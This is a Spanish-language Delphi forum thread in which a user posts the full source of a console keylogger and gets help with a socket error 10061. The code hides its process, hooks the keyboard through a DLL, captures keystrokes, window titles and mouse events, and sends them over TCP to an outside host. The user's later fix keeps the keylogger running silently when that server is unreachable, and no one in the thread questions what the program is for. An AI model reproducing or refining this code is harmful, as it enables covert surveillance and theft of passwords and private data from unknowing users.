Foros Club Delphi

Foros Club Delphi (https://www.clubdelphi.com/foros/index.php)
-   Internet (https://www.clubdelphi.com/foros/forumdisplay.php?f=3)
-   -   Asynchronous socket error 10061, sin sentido (https://www.clubdelphi.com/foros/showthread.php?t=76360)

zbuben 25-10-2011 22:19:20

Asynchronous socket error 10061, sin sentido
 
Hola chicos, vengo aca con un Keylogger hecho en una aplicacion de consola. que no entiendo porq me tira el error: "Asynchronous socket error 10061."
Les ruego ayuda jejej :). desde ya muchas gracias

Código Delphi [-]
 
program KeyLogger;
uses
  Windows,
  Messages,
  SysUtils,
  ScktComp;
{.$DEFINE DEBUG}
{$DEFINE TICKET}
const
  DLLName = 'wingets.dll';
  CM_WH_BASE = WM_USER + $1234;
  CM_WH_KEYBOARD = CM_WH_BASE;
  CM_WH_WNDMESSAGE = CM_WH_BASE + 1;
  BUFFER_SIZE = 100;
type
  TRegisterServiceProcess = function(dwProcessID, dwType: DWord): DWORD; stdcall;
  THookProcedure = Procedure; stdcall;
  TPortCheckClass = class(TObject)
  public
    procedure OnError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
  end;
procedure HideApp;
var
  hNdl: THandle;
  RegisterServiceProcess: TRegisterServiceProcess;
begin
  if Win32Platform = VER_PLATFORM_WIN32s Then
  begin
    hNdl := LoadLibrary(kernel32);
    try
      RegisterServiceProcess := GetProcAddress(hNdl, 'RegisterServiceProcess');
      RegisterServiceProcess(GetCurrentProcessID, 1);
    finally
      FreeLibrary(hNdl);
    end;
  end;
end;
function WindowProc(hWnd: HWND; uMsg: UINT; wParam: WPARAM; lParam: LPARAM ): LRESULT; stdcall;
begin
 Result := 0;
 case uMsg of
   //WM_CLOSE:
   WM_DESTROY:
     Halt;
 else
   Result := DefWindowProc(hWnd, uMsg, wParam, lParam);
 end;
end;
Procedure TPortCheckClass.OnError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
Begin
  ErrorCode := 0;
end;
var
  hInst: LongWord;
  WinClass: TWndClass;
  Handle,
  hCurrentWnd: HWND;
  Msg: TMsg;
  DLLHandle,
  hLogFile,
  FileMap: THandle;
  StartHook,
  EndHook: THookProcedure;
  Reciever: ^Integer;
  PText: PByteArray;
  TextSize,
  BytesWritten: DWORD;
  Cliente: TClientSocket;
  S: string;
  I:Integer;
  PortCheck: TPortCheckClass;
begin
Cliente := TClientSocket.create(nil);
Cliente.OnError := PortCheck.OnError;
with Cliente do
begin
Host := 'hostloco.com.ar';
ClientType := ctBlocking;
Port := 200;
try
Open;
Active := True;
finally
end;
end;
//Cliente.Socket.SendText(StrPas(PChar(PText)));
 Try
   HideApp;
   hInst := hInstance;
   hCurrentWnd := 0;
   { Crea una ventana sin usar un TForm }
   with WinClass do
   begin
     Style              := CS_CLASSDC or CS_PARENTDC;
     lpfnWndProc        := nil;
     lpfnWndProc        := @WindowProc;
     hInstance          := hInst;
     hbrBackground      := COLOR_BTNFACE + 1; //or $80000000;
     lpszClassname      := 'Logger';
     hCursor            := LoadCursor(0, IDC_ARROW);
   end;
   if Windows.RegisterClass(WinClass) <> 0 then
   begin
     Handle := CreateWindowEx(WS_EX_WINDOWEDGE,
                              WinClass.lpszClassName, WinClass.lpszClassName,
                              {$IFDEF DEBUG}WS_VISIBLE+{$ENDIF}WS_OVERLAPPED,
                              0, 0, 0, 0, 0, 0, hInstance, nil);
     if Handle <> 0 Then
     begin
        DLLHandle := LoadLibrary(DLLName);
        if (DLLHandle <> 0) then
          try
            @StartHook := GetProcAddress(DLLHandle, 'Start');
            @EndHook := GetProcAddress(DLLHandle, 'End');
            if Assigned(StartHook) and Assigned(EndHook) then
            begin
              if Cliente.Active then
                try
                  SetFilePointer(hLogFile, 0, Nil, FILE_END);
                  FileMap := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(Integer), 'KeyReciever');
                  if (FileMap <> 0) then
                    try
                      Reciever := MapViewOfFile(FileMap, FILE_MAP_WRITE, 0, 0, 0);
                      Reciever^ := Handle;
                      GetMem(PText, BUFFER_SIZE);
                      try
                        StartHook;
                        try
                          while(GetMessage(Msg, Handle, 0, 0)) do
                          begin
                             case Msg.message  of
                               WM_DESTROY, WM_CLOSE:
                                 Break;
                               CM_WH_KEYBOARD:
                                 if ((Msg.lParam shr 31) and 1) <> 1 then
                                 begin
                                   if hCurrentWnd <> 0 then
                                   begin
                                     TextSize := GetWindowText(hCurrentWnd, Pointer(PText), BUFFER_SIZE);
                                     hCurrentWnd := 0;
                                     if TextSize > 0 then
                                     begin
                                       Move(PText[0], PText[3], TextSize);
                                       PText^[0] := 13;
                                       PText^[1] := 10;
                                       PText^[2] := 123;
                                       TextSize := TextSize + 6;
                                       PText^[TextSize-3] := 125;
                                       PText^[TextSize-2] := 13;
                                       PText^[TextSize-1] := 10;
                                       {$IFDEF DEBUG}
                                       SetWindowText(Handle, Pointer(PText));
                                       {$ENDIF}
                                       I := 0; S := ''; while I < TextSize do begin S := S + Char(PText[i]); Inc(I); end;
                                   Cliente.Socket.SendText(S);
                                     end;
                                   end;
                                   if LoWord(Msg.wParam) = 13 then
                                   begin
                                     PText^[0] := 13;
                                     PText^[1] := 10;
                                     TextSize := 2;
                                   end else
                                   if LoWord(Msg.wParam) = 32 then
                                   begin
                                     PText^[0] := 32;
                                     TextSize := 1;
                                   end else
                                   begin
                                     TextSize := GetKeyNameText(Msg.LParam, Pointer(PText), BUFFER_SIZE);
                                     if TextSize > 1 then
                                     begin
                                       Move(PText[0], PText[1], TextSize);
                                       PText^[0] := 91;
                                       TextSize := TextSize + 2;
                                       PText^[TextSize-1] := 93;
                                     end;
                                     {$IFDEF DEBUG}
                                     PText^[TextSize] := 0;
                                     SetWindowText(Handle, Pointer(PText));
                                     {$ENDIF}
                                   end;
                                   I := 0; S := ''; while I < TextSize do begin S := S + Char(PText[i]); Inc(I); end;
                                   Cliente.Socket.SendText(S);
                                 end;
                               CM_WH_WNDMESSAGE:
                               begin
                                 hCurrentWnd := Msg.wParam;
                               end;
                               WM_MOUSEMOVE,
                               WM_LBUTTONDOWN, WM_LBUTTONUP, WM_LBUTTONDBLCLK,
                               WM_RBUTTONDOWN, WM_RBUTTONUP, WM_RBUTTONDBLCLK,
                               WM_MBUTTONDOWN, WM_MBUTTONUP, WM_MBUTTONDBLCLK,
                               WM_MOUSEWHEEL:
                               begin
                                 {$IFDEF TICKET}
                                 S := '';
                                 {$ENDIF}
                                 PText^[0] := Ord('<');
                                 case Msg.message of
                                   WM_MOUSEMOVE:
                                   begin
                                     PText^[1] := Ord('M');
                                     PText^[2] := Ord('M');
                                   end;
                                   WM_LBUTTONDOWN:
                                   begin
                                     PText^[1] := Ord('L');
                                     PText^[2] := Ord('D');
                                   end;
                                   WM_LBUTTONUP:
                                   begin
                                     PText^[1] := Ord('L');
                                     PText^[2] := Ord('U');
                                   end;
                                   WM_LBUTTONDBLCLK:
                                   begin
                                     PText^[1] := Ord('L');
                                     PText^[2] := Ord('D');
                                   end;
                                   WM_RBUTTONDOWN:
                                   begin
                                     PText^[1] := Ord('R');
                                     PText^[2] := Ord('D');
                                   end;
                                   WM_RBUTTONUP:
                                   begin
                                     PText^[1] := Ord('R');
                                     PText^[2] := Ord('U');
                                   end;
                                   WM_RBUTTONDBLCLK:
                                   begin
                                     PText^[1] := Ord('R');
                                     PText^[2] := Ord('D');
                                   end;
                                   WM_MBUTTONDOWN:
                                   begin
                                     PText^[1] := Ord('M');
                                     PText^[2] := Ord('D');
                                   end;
                                   WM_MBUTTONUP:
                                   begin
                                     PText^[1] := Ord('M');
                                     PText^[2] := Ord('U');
                                   end;
                                   WM_MBUTTONDBLCLK:
                                   begin
                                     PText^[1] := Ord('M');
                                     PText^[2] := Ord('U');
                                   end;
                                   WM_MOUSEWHEEL:
                                   begin
                                     PText^[1] := Ord('M');
                                     PText^[2] := Ord('W');
                                   end;
                                 end;
                                 PText^[3] := Ord(';');
                                 S := '';
                                 {$IFDEF TICKET}
                                 PText^[0] := 13;
                                 PText^[1] := 10;
                                 I := 0; S := ''; while I < 2 do begin S := S + Char(PText[i]); Inc(I); end;
                                 Cliente.Socket.SendText(S);
                                 {$ENDIF}
                               end;
                             end;
                             TranslateMessage(Msg);
                             DispatchMessage(Msg);
                          end;
                        finally
                          EndHook;
                        end;
                      finally
                        FreeMem(PText, BUFFER_SIZE);
                      end;
                    finally
                      UnmapViewOfFile(Reciever);
                      CloseHandle(FileMap);
                    end;
                finally
                  Cliente.Free;
                end;
            end;
          finally
            FreeLibrary(DLLHandle);
          end;
     end;
   end;
 except
   {$IFDEF DEBUG}
   raise;
   {$ENDIF}
 end;
end.

Casimiro Notevi 25-10-2011 23:17:54

Bienvenido a clubdelphi, ¿ya leiste nuestra guía de estilo?, gracias por tu colaboración.

¿En qué momento o línea sale el error?, ¿llega a estar funcionando?, ¿se puede reproducir?...

zbuben 26-10-2011 00:29:12

Cita:

Empezado por Casimiro Notevi (Mensaje 416726)
Bienvenido a clubdelphi, ¿ya leiste nuestra guia de estilo?, gracias por tu colaboración.

Sisi muchisimas gracias, y gracias tambien por la rapida respuesta.

Cita:

Empezado por Casimiro Notevi (Mensaje 416726)
¿En qué momento o línea sale el error?, ¿llega a estar funcionando?, ¿se puede reproducir?...

Te explico, el error sale cuando no esta abierto el servidor. Si el servidor esta abierto, funciona perfecto. Pero al estar cerrado, tira el error ese que no se puede conectar.
Lo que yo quiero es que si no se puede conectar al servidor, siga funcionando normalmente sin tildarse, o tirar error.

El error apareceria donde dice "Cliente.OnError := PortCheck.OnError;" Como que no reconoce el procedure. entonces no puede poner el ErrorCode en 0. y por lo tanto sale el error. pero no entiendo que esta mal. ¿Vos ves algun error?

zbuben 26-10-2011 01:08:32

Cita:

Empezado por Casimiro Notevi (Mensaje 416726)
¿En qué momento o línea sale el error?

Aca te muestro exactamente lo que me dice el Delphi 7 al ejecutarlo.

---------------------------
Application Error
---------------------------
Exception ESocketError in module Project1.exe at 00017076.
Windows socket error: No se ha podido establecer conexión ya
que el equipo de destino ha denegado activamente dicha conexión (10061), on API 'connect'.

zbuben 26-10-2011 01:20:58

Hola, al final lo pude solucionar, habia que agregar el idException en uses. y usar la sintaxis:

Código Delphi [-]
 
try
Open;
Active := True;
except
end;

Lo dejo por si a alguien le sirve, saludos, y muchisimas gracias por la ayuda

Casimiro Notevi 26-10-2011 10:47:44

perfecto !


La franja horaria es GMT +2. Ahora son las 06:11:02.

Powered by vBulletin® Version 3.6.8
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
Traducción al castellano por el equipo de moderadores del Club Delphi